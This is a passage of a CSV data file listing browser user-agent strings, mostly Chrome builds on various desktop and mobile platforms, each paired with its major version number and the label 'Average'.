Safari/537.36\",38,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.87 Safari/537.36\",54,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36\",61,Average\n\"Mozilla/5.0 (Linux; Android 6.0.1; Z981 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.91 Mobile Safari/537.36\",49,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17\",24,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\",22,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 7834.70.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36\",61,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36\",48,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.119 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36\",57,Average\n\"Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG SGH-M919 Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (Linux; Android 5.1.1; Coolpad 3622A Build/LMY47V; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/46.0.2490.76 Mobile Safari/537.36\",46,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36\",37,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/55.0.2883.79 Mobile/14C92 Safari/602.1\",55,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36\",60,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36\",58,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.44 Safari/537.36\",55,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; Android SDK built for x86 Build/KK) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36\",30,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 7978.74.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.103 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36\",45,Average\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22\",25,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36\",52,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36\",39,Average\n\"Mozilla/5.0 (iPad;U;CPU OS 5_1_1 like Mac OS X; zh-cn)AppleWebKit/534.46.0(KHTML, like Gecko)CriOS/19.0.1084.60 Mobile/9B206 Safari/7534.48.3\",19,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) CriOS/65.0.3325.152 Mobile/15D100 Safari/604.1\",65,Average\n\"Mozilla/5.0 (Linux; Android 7.1.1; Z982 Build/NMF26V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36\",63,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\",52,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36\",46,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36\",54,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\",60,Average\n\"Mozilla/5.0 (X11; FreeBSD; U; Viera; en-IE) AppleWebKit/537.11 (KHTML, like Gecko) Viera/3.10.14 Chrome/23.0.1271.97 Safari/537.11\",23,Average\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36\",45,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36\",40,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36\",58,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36\",48,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36\",43,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 6310.68.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.96 Safari/537.36\",39,Average\n\"Mozilla/5.0 (Linux; Android 6.0.1; Redmi Note 4 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.85 Mobile Safari/537.36\",54,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36\",48,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.63 Safari/537.36\",51,Average\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/31.0.1650.63 Safari/537.36,31,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36\",44,Average\n\"Mozilla/5.0 (Linux; Android 7.0; LGMP260 Build/NRD90U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36\",63,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SM-N900V Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) CriOS/64.0.3282.112 Mobile/15D60 Safari/604.1\",64,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\",56,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.103 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36\",59,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36\",56,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\",52,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11\",20,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) CriOS/59.0.3071.102 Mobile/14F89 Safari/602.1\",59,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.34 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11\",20,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36\",49,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG-SM-N900A Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17\",24,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36\",45,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36\",47,Average\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/537.11 (KHTML like Gecko) Chrome/23.0.1271.95 Safari/537.11,23,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36\",45,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2220.0 Safari/537.36\",41,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36\",60,Average\n\"Mozilla/5.0 (iPad; CPU OS 9_3_2 like Mac OS X) AppleWebKit/601.1 (KHTML, like Gecko) CriOS/51.0.2704.104 Mobile/13F69 Safari/601.1.46\",51,Average\n\"Mozilla/5.0 (X11; Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.91 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36\",57,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36\",45,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36\",57,Average\n\"Mozilla/5.0 (Linux; Android 5.1.1; LGMS330 Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.93 Mobile Safari/537.36\",43,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22\",25,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36\",59,Average\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML like Gecko) Chrome/31.0.1650.63 Safari/537.36,31,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 7390.61.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\",46,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 7262.52.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.86 Safari/537.36\",45,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 7077.134.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.156 Safari/537.36\",44,Average\n\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36\",59,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3043.0 Safari/537.36\",59,Average\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36\",65,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36\",27,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36\",44,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36\",57,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 9202.60.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.137 Safari/537.36\",57,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Safari/537.36\",44,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36\",62,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.168 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36\",60,Average\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/39.0.2171.95 Safari/537.36,39,Average\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/30.0.1599.101 Safari/537.36,30,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36\",32,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.63 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36\",55,Average\n\"Mozilla/5.0 (Linux; Android 4.3; en-us; SAMSUNG SCH-I545 Build/JSS15J) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (Linux; Android 4.4.4; Z970 Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36\",30,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36\",63,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Linux; Android 7.0; LGMS210 Build/NRD90U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36\",61,Average\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/37.0.2062.120 Safari/537.36,37,Average\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML like Gecko) Chrome/36.0.1985.143 Safari/537.36,36,Average\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36\",52,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Linux; Android 6.0.1; SM-G928V Build/MMB29K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.98 Mobile Safari/537.36\",61,Average\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/537.11 (KHTML like Gecko) Chrome/23.0.1271.64 Safari/537.11,23,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36\",55,Average\n\"Mozilla/5.0 (Linux; Android 5.0; RCT6303W87DK Build/LRX21M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/37.0.0.0 Safari/537.36\",37,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36\",62,Average\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/36.0.1985.125 Safari/537.36,36,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4\",22,Average\n\"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4\",5,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36\",65,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.90 Safari/537.36\",54,Average\n\"Mozilla/5.0 (Linux; Android 6.0.1; Z981 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36\",61,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36\",37,Average\n\"BrightSign/R3E6DP000834/6.2.94 (XD233) Mozilla/5.0 (Unknown; Linux arm) AppleWebKit/537.36 (KHTML, like Gecko) QtWebEngine/5.6.0 Chrome/45.0.2454.101 Safari/537.36\",45,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.109 Safari/537.36\",59,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 7834.66.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.111 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36\",55,Average\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML like Gecko) Chrome/37.0.2062.120 Safari/537.36,37,Average\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML like Gecko) Chrome/23.0.1271.95 Safari/537.11,23,Average\n\"Mozilla/5.0 (Linux; Android 4.3; en-us; SAMSUNG SGH-M919 Build/JSS15J) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11\",23,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.52 Safari/536.5\",19,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36\",46,Average\n\"Mozilla/5.0 (Linux; Android 4.0.4; Galaxy Nexus Build/IMM76B) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.133 Mobile Safari/535.19\",18,Average\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML like Gecko) Chrome/26.0.1410.64 Safari/537.31,26,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 9000.82.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\",56,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17\",24,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2625.0 Safari/537.36\",50,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; Google Page Speed Insights) Chrome/27.0.1453 Safari/537.36\",27,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36\",57,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SPH-L720T Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.104 Safari/537.36\",59,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Linux; Android 4.1.2; SGH-T599N Build/JZO54K) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Mobile Safari/535.19\",18,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36\",62,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36\",65,Average\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/37.0.2062.103 Safari/537.36,37,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36\",55,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.99 Safari/537.36\",45,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36\",50,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36\",39,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36\",63,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.43 Safari/537.31\",26,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36\",45,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; LGMS323 Build/KOT49I.MS32310c) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.1599.103 Mobile Safari/537.36\",30,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36\",62,Average\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML like Gecko) Chrome/31.0.1650.63 Safari/537.36,31,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36\",54,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36\",62,Average\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 